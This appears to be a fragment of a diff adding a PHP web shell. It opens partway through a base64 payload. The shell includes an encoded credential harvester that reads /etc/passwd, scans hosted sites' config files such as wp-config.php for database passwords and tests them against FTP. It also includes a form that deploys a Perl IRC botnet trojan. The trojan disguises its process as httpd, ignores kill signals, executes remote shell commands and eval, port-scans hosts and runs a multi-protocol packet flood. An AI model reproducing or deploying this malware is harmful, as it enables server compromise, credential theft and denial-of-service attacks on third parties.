jPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGJyKCknPk5ld0xpbmU8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gY29sb3VyKCknPkNvbG91cjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBtYXIoKSc+TWFycXVlZSB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGltZygpJz5QaWN0dXJlPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGxpbmsoKSc+TGluazwvYT48L2E+PC90aD48dHI+PFREPg0KPGNlbnRlcj48Zm9ybSBuYW1lPSJpbmRleGZvcm0iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTQnIGNvbHM9Jzg2Jz48L3RleHRhcmVhPjwvcD4NCjwvZm9ybT48L2Zvcm0+PC9jZW50ZXI+DQo8L1REPjwvdHI+PHRyPjx0ZD5Db3B5IFRoZSBDb2RlIGFmdGVyIEZpbmlzaGluZyB5b3VyIGluZGV4PC90ZD48L3RyPjwvdGFibGU+DQo8Pw0KfQ0KPz4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dHI+PHRkPjxhIGhyZWY9Ij8iPk1haW4gU2hlbGw8L2E+PC90ZD48dGQ+PGEgaHJlZj0iP2FjdD11c2VycyI+TGlzdCBVc2VyczwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWluZGV4Ij5JbmRleCBNYWtlcjwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWNvbmZpZyI+UmVhZENvbmZpZzwvYT48L3RkPjwvdHI+PC90YWJsZT4NCjxwIGFsaWduPSJjZW50ZXIiPnd3dy5lZ3lzcGlkZXIuZXU8L3A+DQo8RElWIGlkPSJuIiBhbGlnbj0iY2VudGVyIj4NCiAgPFRBQkxFIGJvcmRlckNvbG9yPSIjMTExMTExIiBjZWxsU3BhY2luZz0iMCIgY2VsbFBhZGRpbmc9IjAiIHdpZHRoPSIxMDAlIiBib3JkZXI9IjEiPg0KICAgIDxUQk9EWT4NCiAgICAgIDxUUj4NCiAgICAgICAgPFREIHdpZHRoPSIxMDAlIj48cCBhbGlnbj0iY2VudGVyIj48U1RST05HPm8tLS1bIEVnWV9TcElkRXIgfCB8IDxBIGVneV9zcGlkZXJAaG90bWFpbC5jb20+ZWd5X3NwaWRlckBob3RtYWlsLmNvbTwvQT4gICBdLS0tbzwvU1RST05HPjwvcD48L1REPg0KICAgICAgPC9UUj4NCiAgICA8L1RCT0RZPg0KICA8L1RBQkxFPg0KPC9ESVY+DQo8L2NlbnRlcj4gDQogPC9ib2R5Pg0KPC9odG1sPg=";
+
+
+$egy_cp="PD9waHAgDQplY2hvICI8aHRtbD4iOyANCmVjaG8gIjx0aXRsZT5FZ1lfU3BJZEVyIFNoRWxMIDwvdGl0bGU+PFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCi50ZDEgew0KQk9SREVSOiAxOw0KZm9udDogN3B0IHRhaG9tYTsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KDQoudHIxIHsNCkJPUkRFUjogMTsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCkJPRFkgew0KbWFyZ2luOiAxOw0KY29sb3I6ICMzMzMzMzM7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KQTpsaW5rIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6dmlzaXRlZCB7IENPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTphY3RpdmUge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9DQoNCjwvU1RZTEU+PGJvZHk+IjsgDQoNCnNldF90aW1lX2xpbWl0KDApOyANCiMjIyMjIyMjIyMjIyMjIyMjIyANCkAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsgDQppZiAoISRwYXNzd2QpIHsgDQogIGVjaG8gIlstXSBFcnJvciA6IGNvdWRuJ3QgcmVhZCAvZXRjL3Bhc3N3ZCI7IA0KICBleGl0OyANCn0gDQokcGF0aF90b19wdWJsaWM9YXJyYXkoKTsgDQokdXNlcnM9YXJyYXkoKTsgDQokcGF0aHRvY29uZj1hcnJheSgpOyANCiRpPTA7IA0KDQp3aGlsZSghZmVvZigkcGFzc3dkKSkgeyANCiRzdHI9ZmdldHMoJHBhc3N3ZCk7IA0KaWYgKCRpPjM1KSB7IA0KICAgJHBvcz1zdHJwb3MoJHN0ciwiOiIpOyANCiAgICR1c2VybmFtZT1zdWJzdHIoJHN0ciwwLCRwb3MpOyANCiAgICRkaXJ6PSIvaG9tZS8kdXNlcm5hbWUvcHVibGljX2h0bWwvIjsgDQogICBpZiAoKCR1c2VybmFtZSE9IiIpKSB7IA0KICAgICAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsgDQogICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7IA0KICAgICAgICAgICBhcnJheV9wdXNoKCRwYXRoX3RvX3B1YmxpYywkZGlyeik7IA0KICAgICAgIH0gDQogICB9IA0KfSANCiRpKys7IA0KfSANCiMjIyMjIyMjIyMjIyMjIyMjIyMgDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgDQplY2hvICI8YnI+PGJyPiI7IA0KZWNobyAiPHRleHRhcmVhIG5hbWU9J21haW5fd2luZG93JyBjb2xzPTEwMCByb3dzPTIwPiI7IA0KDQplY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigkdXNlcnMpLiIgZW50cnlzIGluIC9ldGMvcGFzc3dkXG4iOyANCmVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwYXRoX3RvX3B1YmxpYykuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIjsgDQoNCmVjaG8gIlt+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcuKiBmaWxlcy4uLlxuXG4iOyANCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgeyANCiAgICAgICAkcGF0aD0iL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsgDQogICAgICAgcmVhZF9kaXIoJHBhdGgsJHVzZXIpOyANCn0gDQoNCmVjaG8gIlxuWytdIERvbmVcbiI7IA0KDQpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCwkdXNlcm5hbWUpIHsgDQogICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpKSB7IA0KICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsgDQogICAgICAgICAgICAgJGZwYXRoPSIkcGF0aCRmaWxlIjsgDQogICAgICAgICAgICAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSkgeyANCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGZwYXRoKSkgeyANCiAgICAgICAgICAgICAgICAgICAkZHI9IiRmcGF0aC8iOyANCiAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRkcikpIHsgDQogICAgICAgICAgICAgICAgICAgICAgcmVhZF9kaXIoJGRyLCR1c2VybmFtZSk7IA0KICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZmlsZT09J2NvbmZpZy5waHAnKSBvciAoJGZpbGU9PSdjb25maWcuaW5jLnBocCcpIG9yICgkZmlsZT09J2RiLmluYy5waHAnKSBvciAoJGZpbGU9PSdjb25uZWN0LnBocCcpIG9yICgkZmlsZT09J3dwLWNvbmZpZy5waHAnKSBvciAoJGZpbGU9PSd2YXIucGhwJykgb3IgKCRmaWxlPT0nY29uZmlndXJlLnBocCcpIG9yICgkZmlsZT09J2RiLnBocCcpIG9yICgkZmlsZT09J2RiX2Nvbm5lY3QucGhwJykpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFzcz1nZXRfcGFzcygkZnBhdGgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGFzcyE9JycpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbK10gJGZwYXRoXG4kcGFzc1xuIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdHBfY2hlY2soJHVzZXJuYW1lLCRwYXNzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgfSANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGdldF9wYXNzKCRsaW5rKSB7IA0KICAgQCRjb25maWc9Zm9wZW4oJGxpbmssJ3InKTsgDQogICB3aGlsZSghZmVvZigkY29uZmlnKSkgeyANCiAgICAgICAkbGluZT1mZ2V0cygkY29uZmlnKTsgDQogICAgICAgaWYgKHN0cnN0cigkbGluZSwncGFzcycpIG9yIHN0cnN0cigkbGluZSwncGFzc3dvcmQnKSBvciBzdHJzdHIoJGxpbmUsJ3Bhc3N3ZCcpKSB7IA0KICAgICAgICAgICBpZiAoc3RycnBvcygkbGluZSwnIicpKSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwnIicpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwiJyIpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgcmV0dXJuICRwYXNzOyANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGZ0cF9jaGVjaygkbG9naW4sJHBhc3MpIHsgDQogICAgQCRmdHA9ZnRwX2Nvbm5lY3QoJzEyNy4wLjAuMScpOyANCiAgICBpZiAoJGZ0cCkgeyANCiAgICAgICBAJHJlcz1mdHBfbG9naW4oJGZ0cCwkbG9naW4sJHBhc3MpOyANCiAgICAgICBpZiAoJHJlcykgeyANCiAgICAgICAgICBlY2hvICdbRlRQXSAnLiRsb2dpbi4nOicuJHBhc3MuIiAgU3VjY2Vzc1xuIjsgDQogICAgICAgfSANCiAgICAgICBlbHNlIGZ0cF9xdWl0KCRmdHApOyANCiAgICB9IA0KfSANCg0KZWNobyAiPC90ZXh0YXJlYT48YnI+IjsgDQoNCmVjaG8gIjwvYm9keT48L2h0bWw+IjsgDQo/Pg=";
+
+
+
+
+if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !empty($_POST['ircchanal']) AND !empty($_POST['ircname']))
+{
+$ircadmin=$_POST['ircadmin'];
+$ircserver=$_POST['ircserver'];
+$ircchan=$_POST['ircchanal'];
+$irclabel=$_POST['ircname'];
+echo "OverclockiX Shell-Connector || Connecting to $ircserver";
+echo " ";
+echo "Now Connecting to $ircserver in $ircchan Andministrators: $ircadmin Botname is $irclabel ";
+echo "Dont Forget to Delete Loader.pl in /tmp
";
+#######################################################
+######################IRC Trojan##########################
+$file="
+################ CONFIGURACAO #################################################################
+my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
+#----------------------------------------------################################################
+my \$linas_max='48'; # Evita o flood :) depois de X linhas #
+#----------------------------------------------################################################
+my \$sleep='4'; # ele dorme X segundos #
+##################### IRC #####################################################################
+my @adms=(\"$ircadmin\"); # Nick do administrador #
+#----------------------------------------------################################################
+my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") #
+#----------------------------------------------################################################
+my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer #
+ # aparecer com numero radonamico no final #
+#----------------------------------------------################################################
+my \$ircname = 'Linux'; # User ID #
+#----------------------------------------------################################################
+chop (my \$realname = `uname -a`); # Full Name #
+#----------------------------------------------################################################
+\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado #
+ # caso n?o seja especificado no argumento #
+#----------------------------------------------################################################
+my \$porta='6667'; # Porta do servidor de irc #
+################ ACESSO A SHELL ###############################################################
+my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
+###############################################################################################
+my \$VERSAO = '0.2';
+\$SIG{'INT'} = 'IGNORE';
+\$SIG{'HUP'} = 'IGNORE';
+\$SIG{'TERM'} = 'IGNORE';
+\$SIG{'CHLD'} = 'IGNORE';
+\$SIG{'PS'} = 'IGNORE';
+\$SIG{'STOP'} = 'IGNORE';
+use IO::Socket;
+use Socket;
+use IO::Select;
+chdir(\"/\");
+\$servidor=\"\$ARGV[0]\" if \$ARGV[0];
+$0=\"\$processo\".\"\0\"x16;;
+my \$pid=fork;
+exit if \$pid;
+die \"Problema com o fork: $!\" unless defined(\$pid);
+my \$dcc_sel = new IO::Select->new();
+#############################
+# B0tchZ na veia ehehe :P #
+#############################
+
+
+\$sel_cliente = IO::Select->new();
+sub sendraw {
+ if ($#_ == '1') {
+ my \$socket = \$_[0];
+ print \$socket \"\$_[1]\\n\";
+ } else {
+ print \$IRC_cur_socket \"\$_[0]\\n\";
+ }
+}
+#################################
+sub conectar {
+ my \$meunick = \$_[0];
+ my \$servidor_con = \$_[1];
+ my \$porta_con = \$_[2];
+
+
+ my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
+ if (defined(\$IRC_socket)) {
+ \$IRC_cur_socket = \$IRC_socket;
+
+
+ \$IRC_socket->autoflush(1);
+ \$sel_cliente->add(\$IRC_socket);
+
+
+ \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
+ \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
+ \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
+ \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
+ nick(\"\$meunick\");
+ sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
+ sleep 1;
+ }
+} #####################
+
+
+my \$line_temp;
+while( 1 ) {
+ while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
+ delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
+ &DCC::connections;
+ my @ready = \$sel_cliente->can_read(0);
+ next unless(@ready);
+ foreach \$fh (@ready) {
+ \$IRC_cur_socket = \$fh;
+ \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
+ \$nread = sysread(\$fh, \$msg, 4096);
+ if (\$nread == 0) {
+ \$sel_cliente->remove(\$fh);
+ \$fh->close;
+ delete(\$irc_servers{\$fh});
+ }
+ @lines = split (/\\n/, \$msg);
+
+
+ for(my \$c=0; \$c<= $#lines; \$c++) {
+ \$line = \$lines[\$c];
+ \$line=\$line_temp.\$line if (\$line_temp);
+ \$line_temp='';
+ \$line =~ s/\\r$//;
+ unless (\$c == $#lines) {
+ parse(\"\$line\");
+ } else {
+ if ($#lines == 0) {
+ parse(\"\$line\");
+ } elsif (\$lines[\$c] =~ /\\r$/) {
+ parse(\"\$line\");
+ } elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
+ parse(\"\$line\");
+ } else {
+ \$line_temp = \$line;
+ }
+ }
+ }
+ }
+}
+
+
+#########################
+
+
+
+
+sub parse {
+ my \$servarg = shift;
+ if (\$servarg =~ /^PING \:(.*)/) {
+ sendraw(\"PONG :$1\");
+ } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
+ my \$pn=$1; my \$onde = $4; my \$args = $5;
+ if (\$args =~ /^\\001VERSION\\001$/) {
+ notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\");
+ }
+ if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) {
+ if (\$onde eq \"\$meunick\"){
+ shell(\"\$pn\", \"\$args\");
+ }
+ if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) {
+ my \$natrix = $1;
+ my \$arg = $2;
+ if (\$arg =~ /^\!(.*)/) {
+ ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/);
+ } elsif (\$arg =~ /^\@(.*)/) {
+ \$ondep = \$onde;
+ \$ondep = \$pn if \$onde eq \$meunick;
+ bfunc(\"\$ondep\",\"$1\");
+ } else {
+ shell(\"\$onde\", \"\$arg\");
+ }
+ }
+ }
+ } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
+ if (lc($1) eq lc(\$meunick)) {
+ \$meunick=$4;
+ \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
+ }
+ } elsif (\$servarg =~ m/^\:(.+?)\s+433/i) {
+ nick(\"\$meunick\".int rand(9999));
+ } elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
+ \$meunick = $2;
+ \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
+ \$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\";
+ foreach my \$canal (@canais) {
+ sendraw(\"JOIN \$canal\");
+ }
+ }
+}
+##########################
+
+
+sub bfunc {
+ my \$printl = \$_[0];
+ my \$funcarg = \$_[1];
+ if (my \$pid = fork) {
+ waitpid(\$pid, 0);
+ } else {
+ if (fork) {
+ exit;
+ } else {
+ if (\$funcarg =~ /^portscan (.*)/) {
+ my \$hostip=\"$1\";
+ my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\");
+ my (@aberta, %porta_banner);
+ foreach my \$porta (@portas) {
+ my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
+ if (\$scansock) {
+ push (@aberta, \$porta);
+ \$scansock->close;
+ }
+ }
+
+
+ if (@aberta) {
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\");
+ } else {
+ sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\");
+ }
+ }
+ if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
+ my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\");
+ \$dtime = 1 if \$dtime == 0;
+ my %bytes;
+ \$bytes{igmp} = $2 * \$pacotes{igmp};
+ \$bytes{icmp} = $2 * \$pacotes{icmp};
+ \$bytes{o} = $2 * \$pacotes{o};
+ \$bytes{udp} = $2 * \$pacotes{udp};
+ \$bytes{tcp} = $2 * \$pacotes{tcp};
+
+
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\");
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\");
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o}));
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o}));
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Media de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\");
+
+
+ }
+ exit;
+ }
+ }
+}
+##########################
+
+
+
+
+sub ircase {
+ my (\$kem, \$printl, \$case) = @_;
+
+
+
+
+ if (\$case =~ /^join (.*)/) {
+ j(\"$1\");
+ }
+ if (\$case =~ /^part (.*)/) {
+ p(\"$1\");
+ }
+ if (\$case =~ /^rejoin\s+(.*)/) {
+ my \$chan = $1;
+ if (\$chan =~ /^(\d+) (.*)/) {
+ for (my \$ca = 1; \$ca <= $1; \$ca++ ) {
+ p(\"$2\");
+ j(\"$2\");
+ }
+ } else {
+ p(\"\$chan\");
+ j(\"\$chan\");
+ }
+ }
+ if (\$case =~ /^op/) {
+ op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
+ my \$oarg = substr(\$case, 3);
+ op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
+ }
+ if (\$case =~ /^deop/) {
+ deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
+ my \$oarg = substr(\$case, 5);
+ deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
+ }
+ if (\$case =~ /^voice/) {
+ voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\";
+ \$oarg = substr(\$case, 6);
+ voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
+ }
+ if (\$case =~ /^devoice/) {
+ devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\";
+ \$oarg = substr(\$case, 8);
+ devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
+ }
+ if (\$case =~ /^msg\s+(\S+) (.*)/) {
+ msg(\"$1\", \"$2\");
+ }
+ if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
+ for (my \$cf = 1; \$cf <= $1; \$cf++) {
+ msg(\"$2\", \"$3\");
+ }
+ }
+ if (\$case =~ /^ctcp\s+(\S+) (.*)/) {
+ ctcp(\"$1\", \"$2\");
+ }
+ if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
+ for (my \$cf = 1; \$cf <= $1; \$cf++) {
+ ctcp(\"$2\", \"$3\");
+ }
+ }
+ if (\$case =~ /^invite\s+(\S+) (.*)/) {
+ invite(\"$1\", \"$2\");
+ }
+ if (\$case =~ /^nick (.*)/) {
+ nick(\"$1\");
+ }
+ if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) {
+ conectar(\"$2\", \"$1\", 6667);
+ }
+ if (\$case =~ /^send\s+(\S+)\s+(\S+)/) {
+ DCC::SEND(\"$1\", \"$2\");
+ }
+ if (\$case =~ /^raw (.*)/) {
+ sendraw(\"$1\");
+ }
+ if (\$case =~ /^eval (.*)/) {
+ eval \"$1\";
+ }
+}
+##########################
+
+
+sub shell {
+ return unless \$secv;
+ my \$printl=\$_[0];
+ my \$comando=\$_[1];
+ if (\$comando =~ /cd (.*)/) {
+ chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \");
+ return;
+ }
+ elsif (\$pid = fork) {
+ waitpid(\$pid, 0);
+ } else {
+ if (fork) {
+ exit;
+ } else {
+ my @resp=`\$comando 2>&1 3>&1`;
+ my \$c=0;
+ foreach my \$linha (@resp) {
+ \$c++;
+ chop \$linha;
+ sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
+ if (\$c == \"\$linas_max\") {
+ \$c=0;
+ sleep \$sleep;
+ }
+ }
+ exit;
+ }
+ }
+}
+
+
+#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
+sub attacker {
+ my \$iaddr = inet_aton(\$_[0]);
+ my \$msg = 'B' x \$_[1];
+ my \$ftime = \$_[2];
+ my \$cp = 0;
+ my (%pacotes);
+ \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0;
+
+
+ socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;
+ socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
+ socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++;
+ socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++;
+ return(undef) if \$cp == 4;
+ my \$itime = time;
+ my (\$cur_time);
+ while ( 1 ) {
+ for (my \$porta = 1; \$porta <= 65535; \$porta++) {
+ \$cur_time = time - \$itime;
+ last if \$cur_time >= \$ftime;
+ send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
+ send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
+ send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
+ send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;
+
+
+ # DoS ?? :P
+ for (my \$pc = 3; \$pc <= 255;\$pc++) {
+ next if \$pc == 6;
+ \$cur_time = time - \$itime;
+ last if \$cur_time >= \$ftime;
+ socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
+ send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;;
+ }
+ }
+ last if \$cur_time >= \$ftime;
+ }
+ return(\$cur_time, %pacotes);
+}
+
+
+#############
+# ALIASES #
+#############
+
+
+sub action {
+ return unless $#_ == 1;
+ sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\");
+}
+
+
+sub ctcp {
+ return unless $#_ == 1;
+ sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
+}
+sub msg {
+ return unless $#_ == 1;
+ sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
+}
+
+
+sub notice {
+ return unless $#_ == 1;
+ sendraw(\"NOTICE \$_[0] :\$_[1]\");
+}
+
+
+sub op {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] +o \$_[1]\");
+}
+sub deop {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] -o \$_[1]\");
+}
+sub hop {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] +h \$_[1]\");
+}
+sub dehop {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] +h \$_[1]\");
+}
+sub voice {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] +v \$_[1]\");
+}
+sub devoice {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] -v \$_[1]\");
+}
+sub ban {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] +b \$_[1]\");
+}
+sub unban {
+ return unless $#_ == 1;
+ sendraw(\"MODE \$_[0] -b \$_[1]\");
+}
+sub kick {
+ return unless $#_ == 1;
+ sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\");
+}
+
+
+sub modo {
+ return unless $#_ == 0;
+ sendraw(\"MODE \$_[0] \$_[1]\");
+}
+sub mode { modo(@_); }
+
+
+sub j { &join(@_); }
+sub join {
+ return unless $#_ == 0;
+ sendraw(\"JOIN \$_[0]\");
+}
+sub p { part(@_); }
+sub part {sendraw(\"PART \$_[0]\");}
+
+
+sub nick {
+ return unless $#_ == 0;
+ sendraw(\"NICK \$_[0]\");
+}
+
+
+sub invite {
+ return unless $#_ == 1;
+ sendraw(\"INVITE \$_[1] \$_[0]\");
+}
+sub topico {
+ return unless $#_ == 1;
+ sendraw(\"TOPIC \$_[0] \$_[1]\");
+}
+sub topic { topico(@_); }
+
+
+sub whois {
+ return unless $#_ == 0;
+ sendraw(\"WHOIS \$_[0]\");
+}
+sub who {
+ return unless $#_ == 0;
+ sendraw(\"WHO \$_[0]\");
+}
+sub names {
+ return unless $#_ == 0;
+ sendraw(\"NAMES \$_[0]\");
+}
+sub away {
+ sendraw(\"AWAY \$_[0]\");
+}
+sub back { away(); }
+sub quit {
+ sendraw(\"QUIT :\$_[0]\");
+}
